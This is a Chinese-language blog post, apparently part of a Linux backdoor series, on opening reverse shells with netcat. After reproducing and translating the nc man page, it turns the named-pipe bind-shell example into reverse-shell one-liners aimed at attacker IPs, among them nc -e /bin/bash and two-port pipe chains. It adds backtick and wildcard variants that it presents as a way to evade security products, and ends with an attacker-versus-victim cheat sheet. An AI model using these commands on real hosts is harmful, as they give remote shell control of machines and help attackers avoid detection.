nc 反弹shell ​| Linux 后门系列

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关于nc之前文章就已经讲过了，不过我发现不同 linux 的nc不太一样

Ubuntu 16.04 自带了nc 

这次就简单介绍了

NC(1)                           BSD General Commands Manual

NAME
     nc — arbitrary TCP and UDP connections and listens

SYNOPSIS
     nc [-46bCDdhklnrStUuvZz] [-I length] [-i interval] [-O length] [-P proxy_username] [-p source_port] [-q seconds][-s source] [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]][destination] [port]

DESCRIPTION
     The nc (or netcat) utility is used for just about anything under the sun involving TCP, UDP, or UNIX-domain sockets.  It can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports, do port scanning, and deal with both IPv4 and IPv6.  Unlike telnet(1), nc scripts nicely, and separates error messages onto standard error instead of sending them to standard output, as telnet(1) does with some.

     Common uses include:

           ·   simple TCP proxies
           ·   shell-script based HTTP clients and servers
           ·   network daemon testing
           ·   a SOCKS or HTTP ProxyCommand for ssh(1)
           ·   and much, much more

     The options are as follows:

     -4      Forces nc to use IPv4 addresses only.

     -6      Forces nc to use IPv6 addresses only.

     -b      Allow broadcast.

     -C      Send CRLF as line-ending.

     -D      Enable debugging on the socket.

     -d      Do not attempt to read from stdin.

     -h      Prints out nc help.

     -I length
             Specifies the size of the TCP receive buffer.

     -i interval
             Specifies a delay time interval between lines of text sent and received.  Also causes a delay time between connections to multiple ports.

     -k      Forces nc to stay listening for another connection after its current connection is completed.  It is an error to use this option without the -l option.

     -l      Used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host.  It is an error to use this option in conjunction with the -p, -s, or -z options.  Additionally, any timeouts specified with the -w option are ignored.

     -n      Do not do any DNS or service lookups on any specified addresses, hostnames or ports.

     -O length
             Specifies the size of the TCP send buffer.

     -P proxy_username
             Specifies a username to present to a proxy server that requires authentication.  If no username is specified then authentication will not be attempted.  Proxy authentication is only supported for HTTP CONNECT proxies at present.

     -p source_port
             Specifies the source port nc should use, subject to privilege restrictions and availability.

     -q seconds
             after EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever.

     -r      Specifies that source and/or destination ports should be chosen randomly instead of sequentially within a range or in the order that the system assigns them.

     -S      Enables the RFC 2385 TCP MD5 signature option.

     -s source
             Specifies the IP of the interface which is used to send the packets.  For UNIX-domain datagram sockets, specifies the local temporary socket file to create and use so that datagrams can be received.  It is an error to use this option in conjunction with the -l option.

     -T toskeyword
             Change IPv4 TOS value.  toskeyword may be one of critical, inetcontrol, lowcost, lowdelay, netcontrol, throughput, reliability, or one of the DiffServ Code Points: ef, af11 ... af43, cs0 ... cs7; or a number in either hex or decimal.

     -t      Causes nc to send RFC 854 DON'T and WON'T responses to RFC 854 DO and WILL requests.  This makes it possible to use nc to script telnet sessions.

     -U      Specifies to use UNIX-domain sockets.

     -u      Use UDP instead of the default option of TCP.  For UNIX-domain sockets, use a datagram socket instead of a stream socket.  If a UNIX-domain socket is used, a temporary receiving socket is created in /tmp unless the -s flag is given.

     -V rtable
             Set the routing table to be used.  The default is 0.

     -v      Have nc give more verbose output.

     -w timeout
             Connections which cannot be established or are idle timeout after timeout seconds.  The -w flag has no effect on the -l option, i.e. nc will listen forever for a connection, with or without the -w flag.  The default is no timeout.

     -X proxy_protocol
             Requests that nc should use the specified protocol when talking to the proxy server.  Supported protocols are “4” (SOCKS v.4), “5” (SOCKS v.5) and “connect” (HTTPS proxy).  If the protocol is not specified, SOCKS version 5 is used.

     -x proxy_address[:port]
             Requests that nc should connect to destination using a proxy at proxy_address and port.  If port is not specified, the well-known port for the proxy protocol is used (1080 for SOCKS, 3128 for HTTPS).

     -Z      DCCP mode.

     -z      Specifies that nc should just scan for listening daemons, without sending any data to them.  It is an error to use this option in conjunction with the -l option.

     destination can be a numerical IP address or a symbolic hostname (unless the -n option is given).  In general, a destination must be specified, unless the -l option is given (in which case the local host is used).  For UNIX-domain sockets, a destination is required and is the socket path to connect to (or listen on if the -l option is given).

     port can be a single integer or a range of ports.  Ranges are in the form nn-mm.  In general, a destination port must be specified, unless the -U option is given.

CLIENT/SERVER MODEL
     It is quite simple to build a very basic client/server model using nc.  On one console, start nc listening on a specific port for a connection.  For example:

           $ nc -l 1234

     nc is now listening on port 1234 for a connection.  On a second console (or a second machine), connect to the machine and port being listened on:

           $ nc 127.0.0.1 1234

     There should now be a connection between the ports.  Anything typed at the second console will be concatenated to the first, and vice-versa.  After the connection has been set up, nc does not really care which side is being used as a ‘server’ and which side is being used as a ‘client’.  The connection may be terminated using an EOF (‘^D’).

     There is no -c or -e option in this netcat, but you still can execute a command after connection being established by redirecting file descriptors. Be cautious here because opening a port and let anyone connected execute arbitrary command on your site is DANGEROUS. If you really need to do this, here is an example:

     On ‘server’ side:

           $ rm -f /tmp/f; mkfifo /tmp/f
           $ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

     On ‘client’ side:

           $ nc host.example.com 1234
           $ (shell prompt from host.example.com)

     By doing this, you create a fifo at /tmp/f and make nc listen at port 1234 of address 127.0.0.1 on ‘server’ side, when a ‘client’ establishes a connection successfully to that port, /bin/sh gets executed on ‘server’ side and the shell prompt is given to ‘client’ side.

     When connection is terminated, nc quits as well. Use -k if you want it keep listening, but if the command quits this option won't restart it or keep nc running. Also don't forget to remove the file descriptor once you don't
     need it anymore:

           $ rm -f /tmp/f

DATA TRANSFER
     The example in the previous section can be expanded to build a basic data transfer model.  Any information input into one end of the connection will be output to the other end, and input and output can be easily captured in order to emulate file transfer.

     Start by using nc to listen on a specific port, with output captured into a file:

           $ nc -l 1234 > filename.out

     Using a second machine, connect to the listening nc process, feeding it the file which is to be transferred:

           $ nc host.example.com 1234 < filename.in

     After the file has been transferred, the connection will close automatically.

TALKING TO SERVERS
     It is sometimes useful to talk to servers “by hand” rather than through a user interface.  It can aid in troubleshooting, when it might be necessary to verify what data a server is sending in response to commands issued by the client.  For example, to retrieve the home page of a web site:

           $ printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80

     Note that this also displays the headers sent by the web server.  They can be filtered, using a tool such as sed(1), if necessary.

     More complicated examples can be built up when the user knows the format of requests required by the server.  As another example, an email may be submitted to an SMTP server using:

           $ nc [-C] localhost 25 << EOF
           HELO host.example.com
           MAIL FROM:<[e-mail]>
           RCPT TO:<[e-mail]>
           DATA
           Body of email.
           .
           QUIT
           EOF

PORT SCANNING
     It may be useful to know which ports are open and running services on a target machine.  The -z flag can be used to tell nc to report open ports, rather than initiate a connection. Usually it's useful to turn on verbose output to stderr by use this option in conjunction with -v option.

     For example:

           $ nc -zv host.example.com 20-30
           Connection to host.example.com 22 port [tcp/ssh] succeeded!
           Connection to host.example.com 25 port [tcp/smtp] succeeded!

     The port range was specified to limit the search to ports 20 - 30, and is scanned by increasing order.

     You can also specify a list of ports to scan, for example:

           $ nc -zv host.example.com 80 20 22
           nc: connect to host.example.com 80 (tcp) failed: Connection refused
           nc: connect to host.example.com 20 (tcp) failed: Connection refused
           Connection to host.example.com port [tcp/ssh] succeeded!

     The ports are scanned by the order you given.

     Alternatively, it might be useful to know which server software is running, and which versions.  This information is often contained within the greeting banners.  In order to retrieve these, it is necessary to first make a connection, and then break the connection when the banner has been retrieved.  This can be accomplished by specifying a small timeout with the -w flag, or perhaps by issuing a "QUIT" command to the server:

           $ echo "QUIT" | nc host.example.com 20-30
           SSH-1.99-OpenSSH_3.6.1p2
           Protocol mismatch.
           220 host.example.com IMS SMTP Receiver Version 0.84 Ready

EXAMPLES
     Open a TCP connection to port 42 of host.example.com, using port 31337 as the source port, with a timeout of 5 seconds:

           $ nc -p 31337 -w 5 host.example.com 42

     Open a UDP connection to port 53 of host.example.com:

           $ nc -u host.example.com 53

     Open a TCP connection to port 42 of host.example.com using 10.1.2.3 as the IP for the local end of the connection:

           $ nc -s 10.1.2.3 host.example.com 42

     Create and listen on a UNIX-domain stream socket:

           $ nc -lU /var/tmp/dsocket

     Connect to port 42 of host.example.com via an HTTP proxy at 10.2.3.4, port 8080.  This example could also be used by ssh(1); see the ProxyCommand directive in ssh_config(5) for more information.

           $ nc -x10.2.3.4:8080 -Xconnect host.example.com 42

     The same example again, this time enabling proxy authentication with username “ruser” if the proxy requires it:

           $ nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42

SEE ALSO
     cat(1), ssh(1)

AUTHORS
     Original implementation by *Hobbit* ⟨[e-mail]⟩.
     Rewritten with IPv6 support by Eric Jackson <[e-mail]>.
     Modified for Debian port by Aron Xu ⟨[e-mail]⟩.

CAVEATS
     UDP port scans using the -uz combination of flags will always report success irrespective of the target machine's state.  However, in conjunction with a traffic sniffer either on the target machine or an intermediary device, the -uz combination could be useful for communications diagnostics.  Note that the amount of UDP traffic generated may be limited either due to hardware resources and/or configuration settings.

还是对有用的参数进行一下解读吧

• -C 

  发送CRLF作为换行符

• -I（大 i） length 

  指定TCP接收缓冲区大小

• -i interval 

  指定文本行发送和接收的延时时间

• -l 

  启动监听

• -k 

  强制nc持续监听一个传入的连接

• -n 

  不做dns解析

• -O length

  指定 TCP 发送缓冲区的大小

• -P proxy_username 

  使用代理，如果没有指定用户名则不会尝试认证，代理认证功能目前只支持HTTP CONNECT代理

• -p source_port

  指定nc使用的源端口

• -q seconds 

  在标准输入遇到 EOF 之后，等待指定的秒数之后再退出，如果参数是负数，永久等待

• -t 

  使用和telnet 一样的交互模式

• -u 

  UDP 模式

• -V rtable

  设置要使用的路由表. 默认是 0.

• -w timeout 

  为无法建立或者闲置的连接设置一个超时时间

• -X proxy_protocol 

  要求nc使用指定协议连接至代理服务器

• 4 --> socks 4

• 5 --> socks 5

• connect --> https proxy

• -x proxy_address[:port]

  要求 nc 使用指定代理地址和端口连接到目标，如果不指定端口，那么将使用代理协议的默认端口 socks 1080 / https 3128

• -z 

  只连接，不进行输入输出，通常被用来做端口扫描

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翻译了一通，发现没有 -c 选项呀，这....

好在官方想到了这点，还特意写了出来 

[+] 服务器

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

[-] 客户端

$ nc host.example.com 1234
$ (shell prompt from host.example.com)

需要注意的是，服务器端如果是 nc -l 127.0.0.1 1234 就只能本地连接了，所以我们一般都是直接 nc -l 1234

原理其实就是管道技术

参考文章：

https://www.cnblogs.com/old-path-white-cloud/p/11685558.html

本来我对自己的Linux知识还是挺有信心的，不过最近研究了这些 Linux 后门之后发现我竟然对这些命令有些犹豫（其实就是学艺不精啦）

我对这个 rm -f /tmp/f 就十分不理解，实验之后我发现，没错，就是删除 /tmp/f 这个文件，没啥特殊的，就是怕mkfifo 创建的文件（管道）已经存在了

cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

其实主要就是三个部分 

• cat /tmp/f 很简单，就是查看这个文件，说白了就是从管道里读数据 

• /bin/sh -i 2>&1 不用说了，之前已经讲过了

• nc -l 127.0.0.1 1234 > /tmp/f 本地监听 1234，并且将结果重定向到 /tmp/f 

这里实现的是bind shell,我们希望的是反弹shell，简单变个型吧：

rm -f /tmp/f; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.38 5555 > /tmp/f

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本来我想如果加上 -k 选项是不是可以做一个持久后门，经过尝试， 加上 -k 只能保证端口开放，没有办法保持命令执行 

如果你遇到的nc 有 -e 或者 -c 选项，可以尝试 nc -e /bin/bash 192.168.1.1 5555

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除了上面的方法，还有一种方法 

[+] 被控主机 192.168.1.100

[-] 攻击主机 192.168.1.101

• 攻击主机上执行 

• nc -lp 5555

• nc -lp 6666

• 被控主机上执行 

• nc 192.168.1.101 5555|/bin/sh|nc 192.168.1.101 6666

同样的，我们拆分一下

• nc 192.168.1.101 5555 连接192.168.1.101 的 5555 端口

• | /bin/sh | 将前面的连接输出传递给 /bin/sh 输入，并将执行的结果输出

• nc 192.168.1.101 6666 连接 192.168.1.101 的 6666 端口，并将 /bin/sh的输出传递给这个连接作为输入

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巧用 ` 来执行命令

nc 192.168.1.38 5555 |`cat /etc/shells | grep 'n/b'`| nc 192.168.1.38 6666

巧用通配符 *

nc 192.168.1.38 5555| `ls /bin/bas*` | nc 192.168.1.38 6666

但是上面这个看起来还是有 /bin/bas 在安全产品看来可能还是一个敏感的字符，继续"通配"

nc 192.168.1.38 5555| `ls /b*n/bas*` | nc 192.168.1.38 6666

使用 ` 和 * 来进行组合，能组合出很多方案,大家自己尝试一下吧！

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总结一下

命名管道

• 攻击机 

• nc -l 5555

• 被控主机

• rm -f /tmp/f; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.38 5555 > /tmp/f

管道输出重定向

• 攻击机 

• nc -l 5555

• nc -l 6666

• 被控主机

• nc 192.168.1.101 5555|/bin/sh|nc 192.168.1.101 6666

-c / -e 

• 攻击机 

• nc -l 5555

• 被控主机

• nc 192.168.1.101 5555 -e /bin/bash

` 

• 攻击机 

• nc -l 5555

• nc -l 6666

• 被控主机

• nc 192.168.1.38 5555 | `cat /etc/shells | grep 'n/b'`| nc 192.168.1.38 6666

` + *

• 攻击机 

• nc -l 5555

• nc -l 6666

• 被控主机

• nc 192.168.1.38 5555| `ls /b*n/bas*` | nc 192.168.1.38 6666

` + 命名管道

• 攻击机 

• nc -l 5555

• 被控主机

• rm -f /tmp/f; mkfifo /tmp/f;cat /tmp/f | `ls /b*n/bas*` -i 2>&1 | nc 192.168.1.38 5555 > /tmp/f

.......

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往期文章

有态度，不苟同